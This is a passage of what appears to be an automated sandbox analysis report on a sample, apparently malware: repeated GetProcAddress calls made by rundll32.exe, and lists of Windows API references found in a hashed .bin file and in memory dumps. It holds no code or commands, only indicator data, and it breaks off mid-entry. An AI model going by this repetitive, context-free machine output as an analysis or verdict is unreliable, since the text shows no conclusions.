00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00000588) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00001200) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003452) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003780) "rundll32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003096) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002896) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00000644) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00001908) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00001908)31:T636c,Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "CloseHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetWaitableTimer"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WerGetFlags"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "VirtualQuery"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "TlsGetValue"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetStdHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "ExitProcess"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "VirtualAlloc"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "DuplicateHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "TlsAlloc"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "LoadLibraryExW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "ResumeThread"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "VirtualFree"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetErrorMode"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "RaiseFailFastException"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WaitForSingleObject"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "InitializeCriticalSection"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "IsDBCSLeadByteEx"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SuspendThread"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "CreateThread"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "VirtualProtect"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetConsoleMode"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetEvent"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SwitchToThread"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "CreateEventA"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetLastError"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WriteFile"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "Sleep"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetProcAddress"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WerSetFlags"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetThreadContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetThreadContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WriteConsoleW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "SetErrorMode"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "WSAIoctl"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetFileType"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API (Indicator: "AddVectoredContinueHandler"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CreateWaitableTimerExW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetErrorMode"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: 